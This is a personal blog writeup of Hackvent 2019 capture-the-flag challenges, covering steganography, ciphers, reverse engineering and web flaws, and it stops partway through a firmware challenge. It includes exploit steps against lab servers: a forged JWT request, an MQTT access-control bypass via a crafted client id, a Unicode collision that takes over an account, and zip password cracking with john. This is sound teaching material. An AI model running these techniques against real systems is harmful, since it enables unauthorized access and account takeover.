Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

Hackvent 2019 - Writeup

This is my writeup for Hacking Lab's Hackvent 2019. For more information, visit hacking-lab.com.
You can also download this writeup as pdf:  Download
Last modified: 2023-12-26 14:08:39
The first HACKvents challenge is about jpg-images and it's hidden thumbnail, as the challenge description already tells us. The given image is unfortunately blurred, so we cannot see the QR-code, but using exiftool we can see, that the image includes a thumbnail, which we can extract by using the following command. Opening the resulting thumbnail and zooming in, gives us a valid QR-Code and the solution flag.
$ exiftool day01.jpg -b -ThumbnailImage > day01_solution.jpg
[day1] [day1 solution]
Flag: HV19{just-4-PREview!}
We got an STL file, which reveals to be a file in "Stereolithography Interface Format" after some research. I decided to use MeshLab to open this file. With File โ†’ Import Meshโ€ฆ we can import our file, and it shows us a bauble. When zooming in, we can see a QR-code, but it is not readable yet, as the background has the same color. In the menu bar we can select Select Vertexes and then Delete the current selected to remove the cover and scan the QR-Code.
[day02_meshlab_1] [day02_meshlab_2] [day02_meshlab_3]
Flag: HV19{Cr4ck_Th3_B411!}
This challenge was really easy, I had actually first blood, but unfortunately it's not displayed on their website.
The description looks strongly like an esoteric programming language, so after a quick research we find a npm-package called hodor-lang to interpret this language. Saving the text to a file and passing it to the npm-package it gives us a base64 encoded string, which we just had to decode resulting in the flag.
$ npm install -g hodor-lang
$ hodor challenge.hd
HODOR: \-> hodor.hd
Awesome, you decoded Hodors language!

As sis a real h4xx0r he loves base64 as well.

SFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=
Flag: HV19{h01d-th3-d00r-4204-ld4Y}
We've got an .ahk file, which can be opened with common text editors. After some research we find the tool, which can execute these files: AutoHotKey. After installing this tool on my windows virtual machine and executing the script, I could easily find the flag by opening a text editor and typing the three given words merry christmas geeks. I had to take care to type it slowly and wait for the script to send its keystrokes to not mess the resulting string up. The flag was visible then.
Flag: HV19{R3memb3r, rem3mber - the 24th 0f December}
day05
This challenge was annoying for me, as I wasted alot of time for investigation on barcodes and how they work. When we try to scan the given barcode with a usual scanner, it prints "Not the solution", obviously. Normally barcodes consist of patterns with variable or constant length, e.g. Code128's pattern (which would be used here) has 9 bits. A bit is represented by the smallest bar (in our case 3 pixels width), where black means "1" and white means "0". An interesting article how it works in detail can be found here: https://courses.cs.washington.edu/courses/cse370/01au/minirproject/BarcodeBattlers/barcodes.html.

But this is not needed for our barcode, we just have to analyze the image: Count colors, look at RGB values and stuff. With a little python script we can print some of these information:
$ python
>>> print("Red Channel:", sorted(red))
Red Channel: [97, 98, 99, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]
>>> print("Green Channel:", sorted(green))
Green Channel: [48, 49, 50, 51, 52, 53, 54, 56, 57, 66, 69, 71, 72, 73, 74, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89]
>>> print("Blue Channel:", sorted(blue))
Blue Channel: [48, 49, 51, 52, 54, 56, 57, 68, 69, 70, 72, 73, 77, 78, 79, 80, 82, 83, 84, 86, 88, 89, 90, 95, 97, 99, 100, 101, 102, 103, 105, 108, 111, 114, 116, 117, 123, 125]
We can see, that the blue channel has a wider spectrum than red and green channel. Also, we can see, that the numbers are mostly in range 48-57 and 66-122. These numbers fit with ASCII! Let's look at the ascii values:
$ python
>>> print("Red Channel:", [chr(x) for x in sorted(red)])
Red Channel: ['a', 'b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
>>> print("Green Channel:", [chr(x) for x in sorted(green)])
Green Channel: ['0', '1', '2', '3', '4', '5', '6', '8', '9', 'B', 'E', 'G', 'H', 'I', 'J', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y']
>>> print("Blue Channel:", [chr(x) for x in sorted(blue)])
Blue Channel: ['0', '1', '3', '4', '6', '8', '9', 'D', 'E', 'F', 'H', 'I', 'M', 'N', 'O', 'P', 'R', 'S', 'T', 'V', 'X', 'Y', 'Z', '_', 'a', 'c', 'd', 'e', 'f', 'g', 'i', 'l', 'o', 'r', 't', 'u', '{', '}']
We can clearly see, that these are all printable characters and '{' as well as '}' can be found in the blue channel. Printing all these channels separately gives us the flag. The script to decode this barcode can be found below.
$ python
>>> print(redChannel)
stlmrysegzuhezagltlgxzgjiivvssaiewbtuhalqclfqrcwfqvengxekoaltyv
>>> print(greenChannel)
PYPE13PQ89LTG0X0OOJJIIUSHQ60MIQI4S9EG48NVVP65GOXL0VWJW2323SRU8B
>>> print(blueChannel)
X8YIOF0ZP4S8HV19{D1fficult_to_g3t_a_SPT_R3ader}S1090OMZE0E3NFP6
Flag: HV19{D1fficult_to_g3t_a_SPT_R3ader}
[text/x-python icon] Python script
Day 6 was a crypto or steganography challenge. The given text looks quite suspicious at the first look. If we look at the html content, we see that some characters are wrapped in a <em> element. When searching for Francis Bacon, we will find Bacon's Cipher. It works like this: Firstly, define an encoding, where 5 symbols applies to one character e.g. aaaaa = A and aaaba = B and so on. Now write a sample text where a character written in normal way means a and a character written somehow different means b
For our case, we have to decode the given text in a's and b's first, or better: 0 and 1. It is important to ignore any non-letters, like commas, periods, spaces and newlines. Now divide the resulting bit-string in blocks of 5. Looking at the decimal numbers of these blocks, we only see values in range of 0-25, which applies to the latin alphabet. Printing the characters, the final message is (with spaces for better legibility):
$ python decode.py
SANTA LIKES HIS BACON BUT ALSO THIS BACON.
THE PASSWORD IS HVXBACONCIPHERISSIMPLEBUTCOOLX
REPLACE X WITH BRACKETS AND USE UPPERCASE
Flag: HV19{BACONCIPHERISSIMPLEBUTCOOL}
[text/x-python icon] Python script
One of my favourite challenges so far. Santa is showing us a bar of LEDs, which are firstly turned on one by one from left to right and right to left. After that a quite fast sequence of random LEDs is shown. As we have 8 LEDs the basic idea is saving every state as a byte, e.g. first LED is on, rest off = 10000000. For this, we have to extract frames out of our video. I had to try various FPS values, so that 1 frame is exactly 1 state.
$ ffmpeg -i video.mp4 -vf fps=10 frames/frame%04d.jpg -hide_banner
Now we need to decode each frame, I did it by measuring the brightness at each LED with a python script again. Decoding the resulting bytes as ASCII gives us the solution:
Flag: HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}
[text/x-python icon] Python script
This was really frustrating, and it took me several hints to understand, how it works. So we've got a dump.sql with a table creditcards and a table flags. Both contain encrypted strings starting with ':)', which looks like a pattern so the application recognizes it as an encrypted string, we may just ignore this.
For table creditcards, the card numbers are encrypted and have the following contents:
$ python decode.py
Length=15 Characters: ['Q', 'V', 'X', 'S', 'Z', 'U', 'V', 'Y', '\\', 'Z', 'Y', 'Y', 'Z', '[', 'a']
Length=14 Characters: ['Q', 'O', 'U', 'W', '[', 'V', 'T', '^', 'V', 'Y', ']', 'b', 'Z', '_']
Length=16 Characters: ['S', 'P', 'P', 'V', 'S', 'S', 'Y', 'V', 'V', '\\', 'Y', 'Y', '_', '\\', '\\', ']']
Length=16 Characters: ['R', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^']
Length=16 Characters: ['Q', 'T', 'V', 'W', 'R', 'S', 'V', 'U', 'X', 'W', '[', '_', 'Z', '`', '\\', 'b']
Note: The backslash is interpreted as backslash and not as escape sequence (e.g. \b was really \ and b instead of \b)
First of all, the lengths are in range 14-16 which is very likely for credit card numbers. Also the ASCII values of the cipher text are in a continues block in range from 79 ('O') to 98 ('b'). This is indication that we have to shift or replace our values somehow, as credit card numbers only have digits 0-9. But a simple shifting does not work: If we assume 'O' = 0, 'P' = 1 and so one, this would work for values until 'Y' = 9, but for any character above 'Y', we got a problem. So let's analyze our ciphertext again and do some research on credit card numbers. I used Wikipedia's article and this article as a reference.
The first few digits of a credit card number determine the Issuer, and it's called Issuer identification number (IIN). Each issuer has a different length for their numbers. Our encrypted number of length 14 could therefore belong to Diners Club International. The number of length 15 could belong to American Express. Both IIN start with 3 and so do the encrypted strings start with 'Q', so it's likely that Q = 3. Now let's look at the second digits, for American Express it might be 4 or 7, for Diners Club International 0, 8 or 9. So 'V' must be 4 or 7, 'O' must be 0, 6, 8 or 9. If we continue to collect these possible digits we can see a pattern, by just looking at the shift value:

For the first number the distance from 'Q' to 3 is -30, from 'V' to 4 and 7 it's -34 and -31.
For the second number the difference from 'Q' to 3 is -30, from 'O' to 0,8,9 it's -31, -23, -22.
Doing so for every card we find out that the first position is shifted by -30, second position by -31 and so on. The decrypted strings with the flag contents therefore are:
$ python decode.py
378282246310005
30569309025904
5105105105105100
4111111111111111
3566002020360505
5M113-420H4-KK3A1-19801
Flag: HV19{5M113-420H4-KK3A1-19801}
[text/x-python icon] Python script
Special thanks to the challenge's creator @otaku and the people on the unofficial discord server for so many hints, I wouldn't be able to solve this otherwise.
Visiting the following railway station has left lasting memories. Santas brand new gifts distribution system is heavily inspired by it. Here is your personal gift, can you extract the destination path of it?
day09 day09_qr
Ever heard of cellular automatons? No? This challenge bases on a discrete 2D model, which is used in computer science, maths, biology and more. When reverse-searching the first given image, we find this page, which is basically one of these cellular automatons, and it works like this:
Every pixel (x,y) is defined by the three pixels above [(x-1,y-1),(x,y-1),(x+1,y)]. The rule number tells us, how we can calculate the lower pixel, e.g. Rule 30 is 0b00011110 binary.
[rule 30 explanation]
Usually we start with 1 black pixel and continue n-times. The resulting image is one of the pyramids like seen below. As the top left and right corner of the QR-Code is already valid and the corresponding areas on the cellular automaton image is white, we can simply XOR both images and the result is a valid QR-Code which reveals our flag. For adjustment, we can XOR the given image with a valid bottom-right-corner.
day09_qr

โจ

day09_rule30

=

day09:solution
Why using XOR? When comparing the bottom left corner of the original image with a valid QR, parts of the Rule30 pyramid is revealed. As no other logical function makes sense, XOR is often used for "encrypting", as it's reversible, associative and commutative.
Flag: HV19{Cha0tic_yet-0rdered}
[text/x-python icon] Python script
This challenge was to be honest really easy. We got an elf binary with stripped debug symbols, so reversing it with disassemblers would be a bit more difficult. Also, the challenge's category is Fun and not Reverse Engineering. If we run the tool, it asks for an input, as seen below:
$ ./guess3
Your input: test
nooooh. try harder!
$ ./guess3
Your input: flag please
./guess3: Row 4: [: Too many arguments.
nooooh. try harder!
The second input tells us, that bash is somehow involved. So let's run ltrace against it.
$ ltrace -s 100 ./guess3
getpid() = 15499
(...) = 0
malloc(4254) = 0x5557500fe300
memset(0x5557500fe300, ' ', 4096) = 0x5557500fe300
memcpy(0x5557500ff300, "#!/bin/bash\n\nread -p "Your input: " input\n\nif [ $input = "HV19{Sh3ll_0bfuscat10n_1s_fut1l3}" ] \nthen"..., 158) = 0x5557500ff300
execvp(0x55574f1c809a, 0x5557500fe2a0, 32, 0x7ffc0eb68748 <no return ...>
--- Called exec() ---
Your input:
Flag: HV19{Sh3ll_0bfuscat10n_1s_fut1l3}
The elves provided us a URL, where the startpage shows three different API-methods: login, register and random, where the last methods print a random joke. Following the instructions to create an account and logging in with Postman, the API generates us an API-Key, which we can use to ger a random joke:
day11_postman1
day11_postman1
This seems to work, and we notice another interesting attribute: platinum. The token we sent looks like JWT, so let's decode it:
$ pyjwt decode --no-verify eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoiQmxpbmRoZXJvIiwicGxhdGludW0iOmZhbHNlfSwiZXhwIjoxNTc2MDc1NzM2LjExNzAwMDAwMH0.mqbA0i5vh1lSgqT5anYU2lGyqLzYE9UnFKVfj5sJKoE
{"user": {"username": "Blindhero", "platinum": false}, "exp": 1576075736.117}
As we can see, the attribute platinum is sent within the cookie. Usually it's not possible to modify those JWT cookies, as there is a key-based signature, which is verified on server site. In this case it works, for whatever reason, and Santa is giving us a useful security advice (and the flag of course):
$ python
>>> import jwt
>>> import requests
>>> obj = { "user": { "username": "Blindhero", "platinum": "True" }, "exp": 1576075736.117}
>>> print(requests.get("http://whale.hacking-lab.com:10101/fsja/random?token=" + jwt.encode(obj, "key").decode("UTF-8")).text)
{"joke":"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}","author":"Santa","platinum":true}
>>>
Flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}
[text/x-python icon] Python script
We've got some old-school binary, which is compiled VB6 source code. Reversing it with IDA was a bit difficult, because with default options, only one function is detected. When starting the executable, a small form with an input box and a status label is displayed, right after we type something in. The label tells us, if the input flag is correct or not. Searching for these strings we find an interesting function in IDA, let's analyze it step-by-step:
Firstly, there are several calls to rtcMidCharVar, __vbaVarCmpEq and __vbaVarAnd. We assume, that this function are applied to our input. The VB calling conventions are a bit weird, so we don't immediately see, which parameters are passed. The most instructions before call to esi are the same, but there is one number increasing from 1 to 4. These are our string offsets. Note: Visual Basic indices start at 1!. Another interesting parameter is the number 1 for every call, this is passed as 3rd parameter to VB's Mid function. To sum up, the first four characters are obtained using Mid, and then checked against another char using __vbaVarCmpEq and combined with __vbaVarAnd. Without knowing the exact functionality, we can guess, the first four characters are compared to HV19.
Next, the length of the string is compared to 21h, which is 33 in decimal. If the length matches, the actual "encryption" is started: from offset 6 to __vbaLenVar - 1 (__vbaVarSub). These are the characters inside the curly braces. For every each character the following is done:
Inside the loop, we can see the following functions: rtcAnsiValueBstr, __vbaVarXor and __vbaVarAdd. We can assume, that a simple XOR is done here, we can also find a hardcoded string: 6klzic<=bPBtdvff'y\x7fFI~on//N. Unfortunately IDA doesn't show the full string, as it contains a non-printable character. For the solution we just need the second string for XOR. This can be found by debugging in the following way:
  1. Set the breakpoint right on the __vbaVarTstEq call
  2. Run the debugger
  3. Enter the following string: HV19{AAAAAAAAAAAAAAAAAAAAAAAAAAA}, as we know the first 5 and the last char, the remaining 33 - 6 chars are chosen.
  4. Step through the instructions, until we see both strings in memory (given and encrypted).
Now we just need some simple maths, introducing the following variables and do the calculations:
Flag: HV19{0ldsch00l_Revers1ng_Sess10n}
[text/x-python icon] Python script
  • A := input, E := encrypted string in memory, K := key used for XOR, F := flag, S := first string found for XOR
  • F = S โจ K = S โจ (A โจ E)
  • F = 6klzic<=bPBtdvff'y\x7fFI~on//N โจ (AAAAAAAAAAAAAAAAAAAAAAAAAAA โจ GFIHKJMLONQPSRUTWVYX[Z]\_^a)
  • F = 0ldsch00l_Revers1ng_Sess10n
Flag: HV19{0ldsch00l_Revers1ng_Sess10n}
[text/x-python icon] Python script
We got access to a web application with a text field and a login button. It seems like, whatever we enter, a warning "STATUS: INTRUSION WILL BE REPORTED! !" is printed. We also got a java file, which is probably some backend code used for the web app.
As we can see, we can get admin access, if the trie doesn't contain the security token. Unfortunately it is initialized right at the beginning, we need to find another wayโ€ฆ
private PatriciaTrie<Integer> trie = init();
private static final long serialVersionUID = 1L;
private static final String securitytoken = "auth_token_4835989";

// (...)

private static PatriciaTrie<Integer> init() {
  PatriciaTrie<Integer> trie = new PatriciaTrie<Integer>();
  trie.put(securitytoken,0);
  return trie;
}

private static boolean isAdmin(PatriciaTrie<Integer> trie) {
  return !trie.containsKey(securitytoken);
}
There is another method setTrie(String note), which is not used inside the java file, so it must be called from outside, maybe our input field? Doing some research on the data structure, we find a bug, which was reported lately:
https://issues.apache.org/jira/browse/COLLECTIONS-714. It even provides some cases, where the key managment works incorrect. If a key with a trailing null character is put inside the trie, the containsKey returns false for the actual key. This is the way, we have to exploit the server's functionality: Sending auth_token_4835989\0 through the text field, the server gives us the flag.
Flag: HV19{get_th3_chocolateZ}
[text/x-python icon] Python script
This challenge was hilarious, like last year's flappy bird, we've got an obfuscated perl game. This year's topic: Curve Fever! Similar to snake, we have to collect bounties, which are parts of our flag. But in contrast to snake, our curve leaves a constant line, which we may not touch. I tried to play the game without modifying or cheating in any way, it's possible for the first 6-7 parts, but the flag doesn't seem to have a common scheme... Thus, we have to modify the given code. Using perltidy, we can beautify our code a bit.
We can see one very interesting part:
createText(
  $PMMtQJOcHm8eFQfdsdNAS20->() % 600 + 20,
  $PMMtQJOcHm8eFQfdsdNAS20->() % 440 + 20,    #Perl!!
  "-text" => $d28Vt03MEbdY0->(),
  "-$y"   => $z
);
This function is obviously creating the flag text, where $d28Vt03MEbdY0->() is the call to calculate the next part. When analyzing $d28Vt03MEbdY0, we can see that a call to $PMMtQJOcHm8eFQfdsdNAS20 is made, so it's important, not to delete this call for position calculating. Just replace the -text parameter and add print $d28Vt03MEbdY0->() after the createText call. The flag is now printed.
Flag: HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee}
Visiting the webpage, we can see a counter which is continuously incremented, but only if javascript is enabled. Using the built-in Firefox developer tools, we can see several javascript fiels in the Debug tab. The most interesting files are probably mqtt.js and config.js. MQTT is a messaging protocol based on a channel/subsscription method, where a client can subscribe to a channel and receive messages published in the channel. We can find this configuration in config.js:
var mqtt;
var reconnectTimeout = 100;
var host = 'localhost';
var port = 9001;
var useTLS = false;
var username = 'workshop';
var password = '2fXc7AWINBXyruvKLiX';
var clientid = localStorage.getItem("clientid");
if (clientid == null) {
  clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');
  localStorage.setItem("clientid", clientid);
}
var topic = 'HV19/gifts/'+clientid;
// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';
var cleansession = true;
First of all, we can retrieve the credentials and connection properties. We can also see, that the client id is a random 16-digit number and the topic, where the counter is sent, is 'HV19/gifts/'+clientid. We can implement the same configuration easily in python. When trying to subscribe to 'HV19/gifts/'+clientid+'/flag-tbd' instead, we don't get any messages at all, there is probably some authentication involved. Doing some research, we find some "special patterns" on this article. When appending # to a topic, we can get every message in each subtopic. But this doesn't work either, there is another thing: When subscribing to $SYS, we can get system related messages. This leads to the following result:
"mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)"
CVE-2017-7650 says: In Mosquitto before 1.4.12, pattern based ACLs can be bypassed by clients that set their username/client id to '#' or '+'.. So the elves didn't update their mosquitto version, instead they fixed the bug by themselves, but probably not correctly. When using # as a user or client id, the server doesn't accept the connection, so we have to change it a little. As we know, the topics structure is HV19/gifts/<16-digit-clientid>/, we can simply choose 0000000000000000/# as client id and HV19/gifts/# as a topic:
$ python exploit.py
16 Sending CONNECT (u1, p1, wr0, wq0, wf0, c1, k100) client_id=b'0000000000000000/#'
16 Received CONNACK (0, 0)
16 Sending SUBSCRIBE (d0, m1) [(b'HV19/gifts/#', 0)]
16 Received PUBLISH (d0, q0, r1, m0), 'HV19/gifts/0000000000000000/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}', ... (70 bytes)
HV19/gifts/0000000000000000/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!'
16 Received SUBACK
Flag: HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}
[text/x-python icon] Python script
Another reverse engineering challenge: b0rked.exe, a broken calculator app. When starting it, it shows three text fields, where two are editable and a combo box, where we can choose one of four basic mathematical operations: add, subtract, multiply, divide. Unfortunately, whatever we enter, the output is b0rked (broken). So let's analyze, what it is actually doing.
We can find this switch-case which decides what sub is called depending on the operator chosen. As expected, the functions are broken, or being more precise: empty, filled with nops. Firstly, we rename it in IDA, so have it more readable (e.g. sub_4015B6 = calc_add). When searching for cross-references, we can see, that the calculations are not only used in the switch case, but right after the actual calculation:
There is some calculation done on big numbers and the result is shown as a string using SetDlgItemTextA. We can either patch the binary to implement the correct functionalities of the calculation methods or even easier: reproduce it in a python script. The flag is printed as result, we just have to fix one character:
$ python decode.py
HV19{B0rkedรŸFlag_Calculat0r}
Flag: HV19{B0rked_Flag_Calculat0r}
[text/x-python icon] Python script
This challenge is about the dangers of unicode in combination if certain string functions. We got access to a web application, where we can register and login. Other functionalities like viewing the source is only possible if logged inv viewing the flag only, if logged in as admin. But this website is smart, we get blacklisted for 15min, if we fail to log in too often. Let's have a look at the source first by creating a new account and logging in.
The function isAdmin returns true, if the current username is santa. The registerUser function seems quite interesting:
function registerUser($conn, $username, $password) {
  $usr = $conn->real_escape_string($username);
  $pwd = password_hash($password, PASSWORD_DEFAULT);
  $conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'");
}
Somehow the password of a user is overridden using the ON DUPLICATE KEY UPDATE method when registering an existing user. But the server catches that case by searching for the given username in the database using the following method:
function isUsernameAvailable($conn, $username) {
  $usr = $conn->real_escape_string($username);
  $res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')");
  $row = $res->fetch_assoc();
  return (int)$row['cnt'] === 0;
}
What santa didn't think about, is explained on this site. When calling UPPER('ล›') mysql returns a ลš as expected. But trying to insert this value as a key, mysql would throw an error:
$ mysql
MariaDB [test]> CREATE TABLE users (username VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci PRIMARY KEY, password VARCHAR(255));
Query OK, 0 rows affected (0.027 sec)

MariaDB [test]> INSERT INTO users (username, password) VALUES (UPPER('santa'), '123');
Query OK, 1 row affected (0.007 sec)

MariaDB [test]> INSERT INTO users (username, password) VALUES (UPPER('ล›anta'), '123');
ERROR 1062 (23000): Duplicate entry 'ลšANTA' for key 'PRIMARY'

MariaDB [test]> SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('ล›anta');
0
Therefore registering a user ล›anta with any chosen password, we can easily log in as santa and obtain the flag.
Flag: HV19{h4v1ng_fun_w1th_un1c0d3}
[text/x-python icon] Python script
A quite hard reverse engineering challenge. We got deb package and a hex-string. The deb package contains a Mach-O universal binary, which I couldn't run easily. Analyzing the binary especially trying to generate some pseudocode, we can see the following:
Firstly the input takes up to 32 chars. This input is then somehow passed to the dance function with a constant 0xB132D0A8E78F4511. After this function the result is printed as a hex string. Following the pseudocode of dance, we get lead to a loop calling dance_block which calls dance_words again. dance_words has alot of calls to __ROR4__, so there is some rotating involved. This whole function chains seems to be some stream cipher. Probably it's not a block cipher, as no restrictions of length are made on the input. With some further investigation on v11, we can see in dance_block, that 8 integers are taken from this address, so the input is 32 Byte = 256 Bit in total + another constant of 8 Byte. Let's search for a stream cipher which takes 32 and 8 Bytes as input. Looking at this list, we find a cipher called salsa20 which is also a name of a dance.
v11 = unk_100007F50;
printf("Input your flag: ", argv, envp);
fgets(&v6, 32, __stdinp);
v3 = strlen(&v6);
if (v3) {
  memcpy(&v7, &v6, v3);
}
dance(&v7, v3, &v11, 0xB132D0A8E78F4511LL);
if (strlen(&v6)) {
  v4 = 0LL;
  do {
    printf("%02X", *((unsigned __int8 *)&v7 + v4++));
  } while (strlen(&v6) > v4);
}
result = putchar(10);
Using salsa20 algorithm with the 32 byte buffer as key and the hex constant as salt (note: reversed!), we can decrypt the flag.
Flag: HV19{Danc1ng_Salsa_in_ass3mbly}
[text/x-python icon] Python script
This is probably some esoteric programming language, which I could find very quickly by searching for emoji programming language. Emojicode seems to have the same structure as described in the docs. Programs start with ๐Ÿ๐Ÿ‡ and end with ๐Ÿ‰. We can compile this code using the provided tool. I had to try different builds, as some of the versions threw errors.
$ emojicodec d19.utf8.emojic -o main
emojicodec: /usr/lib/libtinfo.so.5: no version information available (required by emojicodec)
d19.utf8.emojic:1:297: โš  warning: Type is ambiguous without more context.
d19.utf8.emojic:1:423: โš  warning: Type is ambiguous without more context.
d19.utf8.emojic:1:452: โš  warning: Type is ambiguous without more context.
d19.utf8.emojic:1:491: โš  warning: Type is ambiguous without more context.
$ ./main
๐Ÿ”’ โžก๏ธ ๐ŸŽ…๐Ÿปโ‰๏ธ โžก๏ธ ๐ŸŽ„๐Ÿšฉ
flag
๐Ÿคฏ Program panicked: ๐Ÿ‘Ž
Okay so the program expects an input but crashes if we type in something wrong. When trying to disassemble it, we stumble over a lot of C++ functions, it's hard to tell, where the interesting parts are. I have to admit, I don't know a better solution as someone gave me the hint to bruteforce unicodes. Obtaining a list of unicodes from this site we can bruteforce the input of our compiled binary which gives us the flag.
$ ./main
๐Ÿ”’ โžก๏ธ ๐ŸŽ…๐Ÿปโ‰๏ธ โžก๏ธ ๐ŸŽ„๐Ÿšฉ
๐Ÿ”‘
HV19{*&lt;|:-)____\o/____;-D}
Flag: HV19{*<|:-)____\o/____;-D}
[text/x-python icon] Python script
I really love reverse engineering challenges, especially, if I can solve them :). This binary is very small, we only have to understand what the main method is doing.
Firstly, a file at /mnt/usb0/PS4UPDATE.PUP is opened for binary reading. Its read chunk-wise with size 300h = 1024 using fread and then MD5Update is called. So this code basically calculates the md5 sum of the entire file.
Firstly, a file at /mnt/usb0/PS4UPDATE.PUP is opened for binary reading. Its read chunk-wise with size 300h = 1024 using fread and then MD5Update is called. So this code basically calculates the md5 sum of the entire file.
The file is opened again for binary reading. We have to focus on the register r13, where an offset is stored beginning with and incremented by 1337h until 1714908h (1337h iterations in total). This offset is used for fseek inside the opened file. In every iteration fread (rbx register) is called with a size of 1Ah = 26 Bytes. These bytes are xored with another constant in the file, found above the loop stored in the rdata section at address 300h. Reproducing this gives us the flag.
Flag: HV19{C0nsole_H0mebr3w_FTW}
[text/x-python icon] Python script
Easy bruteforce challenge, we just have to follow the given steps. First of all, the work is split up into two parts:
  1. Password generation/cracking
  2. String encryption/decryption
To obtain the password we have to do the following steps:
  1. Read a list of common passwords and filter them to get only passwords of length 16
  2. For every password: Generate a sha256 hash
  3. Use the hash as private key and generate public key using P256 curve
  4. Compare the public key with the given public key (x, y)
  5. If they are equal, we are probably done
Once we found one or more possible passwords, do the following steps
  1. Generate the pbkdf2_hmac using password, salt and sha256 with 256*256*256 iterations
  2. Base64 decode the given string
  3. AES-decrypt the resulting buffer using the generated AES key in ECB mode
  4. The flag should now be readable
Flag: HV19{sry_n0_crypt0mat_th1s_year}
[text/x-python icon] Python script
This one was a lot of trial and error. We got a .hex file with hex lines as content. Linux file command couldn't tell us, what this is. So searching for the first string in the file, we find out, that this is some flash dump compiled for microcontrollers. Firstly, we have to find out, what microcontroller was using this.
Starting Atmel Studio and using the device manager, we go through the microcontroller list, and try to flash the hex file. If no error is thrown, it probably worked. I tried common MCUs like atmega8, atmega16 until atmega32 for which it worked. Next I saved the EEPROM to a file, I don't know if this was really needed, but it worked for the next step.
Next we will produce the elf object file out of the hex file and the EEPROM. Now we can import the resulting file for debugging, by opening the File menu, then Open -> Object file for debugging. Select atmega32 and finish the project wizard. Now we only have to start debugging the file, pausing it and opening the memory view: Debug โ†’ Windows โ†’ Memory โ†’ Memory 1. The flag is now visible in the memory window.
Flag: HV19{H3y_Sl3dg3_m33t_m3_at_th3_n3xt_c0rn3r}
Another bruteforce challenge. I wasted a lot of time until I noticed, my php code doesn't "crack" the zip file correctlyโ€ฆ We've got a link to a web application, where we can choose, which file(s) we would like to download. The flag is also an option, but not choose-able as it's available as of 2020. Even when manipulating GET/POST requests, we get a "Illegal request" error. So let's choose a valid file. The server generates a zip-archive with a one-time password. The zip-archive is located somewhere in the /tmp folder on the website where directory indexing is enabled! We can find a lot of zip files generated by other users. Sorting by the creation date, we can find two interesting files: phpinfo.php and Santa-data.zip.
For the next part we have to crack the zip file. As the server generates somehow "random" passwords, we will first have a look at the generated passwords by sending some requests. We notice that each password has a length of 12 and not every character is included. Characters like l, L and 1 are missing. The resulting charset has 54 characters so there are still 54^12 = 614787626176508399616 possibilities, still too much.
The challenge title said something about IDA, probably related to something? Searching for IDA password on the internet, one of the first results leads us to this article. It's about the weak serial keys used for IDA Pro. In short words they tried differend srand-seeds and generated keys using random indices for the given charset. Doing the same and piping the keys into john, we can obtain the password after ~2min:
$ zip2john Santa-data.zip -o flag.txt > hash
$ php generatePasswords.php | john hash --stdin
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 XOP 4x2])
Will run 8 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
Kwmq3Sqmc5sA (Santa-data.zip/flag.txt)
1g 0:00:01:39 0.01009g/s 43825p/s 43825c/s 43825C/s suKcApykm6ST..Ekjreg8U85fm
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Flag: HV19{Cr4ckin_Passw0rdz_like_IDA_Pr0}
[text/x-php icon] PHP script
Another file where I firstly didn't even know what it is. After some research, brcmfmac43430-sdio.bin seems to be a firmware for broadcom devices. Using string command, we can obtain some interesting information:
$ strings -n 8 brcmfmac43430-sdio.bin | tail -n 5
Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/
pGnexmon_ver: 2.2.2-269-g4921d-dirty-16
wl%d: Broadcom BCM%s 802.11 Wireless Controller %s
43430a1-roml/sdio-g-p2p-pool-pno-pktfilter-keepalive-aoe-mchan-tdls-proptxstatus-ampduhostreorder-lpc-sr-bcmcps Version: 7.45.41.46 (r666254 CY) CRC: 970a33e2 Date: Mon 2017-08-07 00:48:36 PDT Ucode Ver: 1043.206
FWID 01-ef6eb4d3
Firstly, the base64 string tells us a great poem:
$ echo "Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBhcmUgYmx1ZSwgRHJTY2hvdHRreSBsb3ZlcyBob29raW5nIGlvY3Rscywgd2h5IHNob3VsZG4ndCB5b3U/" | base64 -d
